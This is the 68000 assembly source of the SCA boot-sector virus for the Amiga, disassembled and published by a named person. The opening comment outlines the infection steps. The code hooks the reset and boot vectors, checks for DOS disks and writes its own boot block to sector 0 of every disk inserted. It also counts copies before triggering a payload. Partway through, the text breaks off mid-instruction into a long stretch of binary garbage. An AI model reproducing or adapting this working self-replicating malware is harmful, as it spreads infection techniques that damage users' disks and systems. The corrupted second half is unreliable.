;********************************************************************
;*    YESYOUSERIGHTTHISISTHESOURCE CODEOFTHE SCAVIRUSET   *
;* THESOURCEWASDISASSEMBLEDBYSAURON OFTHEMIGHTYACIDEHOUSE  *
;*     IFYOUWANTTOCONTACTMETHENYOUFINDMYADDRESSBELOW     *
;*==================================================================*
;*     JOHANLINDAHL * LINBLOMMEV.6 * 510 21 SATILA * SWEDEN       *
;*==================================================================*
;*             A LITTLEEXPLAINTIONHOWTHEVIRUSWORK              *
;* 	1	THEVIRUSLIESAT$7EC00                            *
;*	2	THERESET ROUTINEBEINSTALLED                      *
;*	3	CONTINUEDBOOT                                      *
;*                       RESETROUTINE                              *
;*	1	CHECKLMOUSEBUTTONTRUE= REMOVEVIRUSANDEXIT   *
;*	2	ELSE INSTALL RESET ROUTINE AGAIN                    *
;*	3	INSTALLABOOTROUTINE (STARTINTHEBOOT)          *
;*	4	EXIT                                                *
;*                        BOOTROUTINE                              *
;*	1	CHECKIFBOOTISGREATERTHEN1024 bytes then Exit  *
;*	2	CMPIFADOSDISK,IFNOTEXIT                      *
;*	3	CMPIFASCAVIRUSBOOT,THENEXIT                  *
;*	4	CMPIFTIMETOSTARTVIRUSROUTINE                  *
;*	5	IFNOTCOPYVIRUSBOOT TOTHISDISK ANDEXIT         *
;*	5	ELSESTARTVIRUS ANDEXIT                           *
;********************************************************************


Start:		dc	'DOS',0		;DOS or KICK
		dc.l	0		;CheckSum
		dc.l	880		;DosPointer
		LEA.L	Start(PC),A0
		LEA.L	$0007EC00,A1
		MOVE.W	#256,D0
Copyl:		MOVE.L	(A0)+,(A1)+
		DBF	D0,Copyl;(PC)
		JSR	$0007EC88	;Reset
		LEA.L	DosBase(pc),A1;DosBase
		MOVE.L	$00000004,A6
		JSR	-96(A6)
		MOVE.L	D0,A0
		MOVE.L	22(A0),A0
		MOVEQ	#0,D0
		RTS       

Resetroutine:	MOVE.L	$00000004,A6
		BTST	#6,$00BFE001
		BNE.S	ContinueVirus
		CLR.L	46(A6)		;Emty reset
		BSR	Remreset
		LEA.L	$00DFF000,A5
		MOVE.W	#$0060,$180(A5)	;Green
		MOVEQ	#50,D0
		BSR	WaitTOF
		BRA.S	Exit

ContinueVirus:	BSR	Reset
		LEA.L	$0007ECA4,A0
		CMPA.L	-454(A6),A0	;cmp Bootvector,Bootroutine
		BEQ.S	Exit		;If equ then rts
		MOVE.L	-454(A6),$0007EFDE ;else save old vector
		MOVE.L	A0,-454(A6)	;put in the new one
Exit:		RTS

Reset:		MOVE.L	#$0007EC3E,46(A6);resetroutine

RemReset:	LEA.L	34(A6),A0
		CLR.W	D0
		MOVEQ	#23,D1
Rchsuml:	ADD.W	(A0)+,D0
		DBF	D1,Rchsuml
		NOT.W	D0
		MOVE.W	D0,(A0)
		RTS

BootRoutine:	CMPI.L	#$00000400,36(A1)
		BNE.S	DOBR		;Disk is auto boot
		CMPA.L	40(A1),A4	;Read address=Virus address
		BEQ.S	AVirus		;Activate Virus
DOBR:		JMP	$0007EFDC	;do the old boot routine

AVirus:		CLR.L	(A4)
		JSR	$0007EFDC	;do the old boot routine first
		CMPI.L	#$444F5300,(A4)	;Cmp if a DOS disk
		BNE.S	Quit		;if not then exit
		MOVE.L	$0007EFDE,-454(A6);old boot r on boot vector
		CLR.L	$0007EFDE	;clr.l pointer to old boot r
		MOVEM.L	D0-D7/A0-A5,-(A7)
		LEA.L	$00DFF000,A5
		LEA.L	$0007EC04,A0	;pointer boot check sum in a0
		MOVE.L	(A0),D0		;old checksum in d0
		CMP.L	4(A4),D0	;cmp if virus boot
		BEQ.S	True		;if true don't write new boot
		MOVE.L	A1,A4		;trackdisk pointer in a4
		BSR	CopyVirus	;jsr write virus boot

True:		MOVEM.L	(A7)+,D0-D7/A0-A5
Quit:		RTS

CopyVirus:	SUBI.W	#1,$0007EEFC
		ADDI.W	#1,$0007EEF8
		MOVE.W	$0007EEF8,D0
		ANDI.W	#$000F,D0
		CMPI.W	#0,D0
		BNE.S	WriteVirus
		BSR	StartVirus

WriteVirus:	MOVE.L	A4,A1
		MOVE.W	#1,28(A1)		;Reset
		MOVE.L	$00000004,A6
		JSR	-456(A6)		;DoIo
		MOVE.L	A4,A1
		MOVE.W	#3,28(A1)		;Write
		MOVE.L	#$00000400,36(A1)	;Length
		MOVE.L	#$0007EC00,40(A1)	;Buffer
		MOVE.L	#$00000000,44(A1)	;Sector
		MOVE.L	$00000004,A6
		JSR	-456(A6)		;DoIo
		MOVE.L	A4,A1
		MOVE.W	#4,28(A1)		;Update
		MOVE.L	$00000004,A6
		JSR	-456(A6)		;DoIo
		RTS

StartVirus:	MOVE.L	A4,A1
		CLR.L	36(A1)
		MOVE.W	#9,28(A1)	;Turn of drive motor
		MOVE.L	$00000004,A6
		JSR	-456(A6)	;DoIo
		LEA.L	$0007EB00,A3	;$7eb00 = Raster Port
		LEA.L	GfxBase,A1	;LibName
		CLR.L	D0		;Version
		MOVE.L	$00000004,A6	;ExecBase
		JSR	-552(A6)	;OpenLibrary
		MOVE.L	D0,$0007C8FC	;Save GfxBase
		MOVE.L	A3,A1		;RasterPort in a1
		MOVE.L	$0007C8FC,A6	;Restore GfxBase in a6
		JSR	-198(A6)	;InitRasterPort
		LEA.L	$0007EA00,A0	;$7ea00=BitMap
		MOVE.L	A0,4(A3)	;set Bitmap pointer in RPort
		MOVEQ	#1,D0		;Deep (colors)
		MOVE.W	#320,D1	;Width
		MOVE.W	#200,D2	;Height
		MOSk%Ӎk$AA&LOmb~VmPQ,vƵMC+'VS-&M\31ěMj#*6Ef
&O*o$ 9xm5BBKWo%9D/Fx`/aў_hNOXZ"*?r|%xrf\g!JZ$n`
xG  jH
2O\
/
g/ @%}RG7BD$Ǒ|	 (
 F%;+?/KFzD"뛿%J3
fa&(+5xHr\]bu N>񁧔N0X
 BY:1	5 5	puR{7Zy,-"}Z(,
s~4[qh4CH&4@+O~ Nu^f 5%*61zp:D+#fnm
@$`r((3x"aB@ARNڃ/#M LyD H1@f2|`
/  4W@Seک"HSfqNJ	/0`<0+`"PCj>HQRkv1KLAB0 "*0 6@H@B 4hCB*(fAJAH 0z aǍ"<Ի^_<Dne?LecivedgOItxE` roPetC;elbaܞ+Opc5[+zb%pE<I'D8$'I{'+֮<8UxͧLO|DS|7#k\H|HqBHǠHq}	(?%66[g@vzSg k-+;'0/|#sGt4+Pz*/>v@ |x##~|,R*]9ّPmHpxHA󦏐8Cn#Ȇ\'m'@2RLBfM 9&,+8o``OS8S'8QRN_HgAvP	M 5)?C}|;
9_`^P/ > ʚ;|+
0 fJݎO~ ħKs+qf%)J
AxXcK/P<3.Hs|2#yأQ(SJ8-gJIUUA
j`2_Rp Enf-nyH4ǋf2dBǀB3X X<#t踏` <> ~*L8> a*^o$ٻYo(o ~H( AXS@`_ cOWA/fEIvE0bf&BN5K,#t% YP0Ug h!4fPTfḏT tttdLg @AH2@@
 (0BBHn\<!<1@pdFtf.D@Daa8a ~U<"@%D*fa0 &a(r@G:f@D\Df	=
g @* x Q$ pASI_"I Q h`@UB" SJH"'	1!y+aTqN/_OPf|6f~ =' O?^	B8~gJc?>Np y,?}.f< A!Xx5 7pMW7H7Mߠo F?Z7a<7/g]AJ<ܕf	݀B @ NI؈ kcehC=O´/:\}gסEHa?>f!(`=?g/W#7[?A(<<Rբ/Bƪ眜	qVR&Pn[ 3'+c|o|vob_B_&bnPF5.*ϼn|1mq>c927
g_AJo?D`- ʃ:H;	y:ώ;AGSbb)>70 xVk~LL>8PLW^!%/~?m:Ż|d
.t7x7x74Aԋt:)p#cPDlƎaW1
+'#4\b4_ _L$A/E] kpffhtamrarbil.sodXpL> a^- 3')?C+?Bɀ<!	#BpB$B./  xHb<b]#n4{n"g"GJA^!X	x!| kHzwXVR8!/xR>	~8W4<"22".0,y 3(w(If
B)@eo{wDRՀROXR)^
s-@y,P >`VŬO5Rc9&zB`kDRgJIOB-J,ܠf蘃 @61MgCJ8o:m~`R<z7Wy$vx1#-nHL=P..Cb&jj#s%Z~!QR CB#TUhaC$P .&E,*+&g J@&OXv)Q{<yA-oF-I-uN 3.f<vs?BqoPBSBN0 :@-NȺ  poTB;WR<Tyg<4PE#|691BWgS$	$VaP*+ R<n4ReVe$t__#//4ny[y<4r֋1xMoP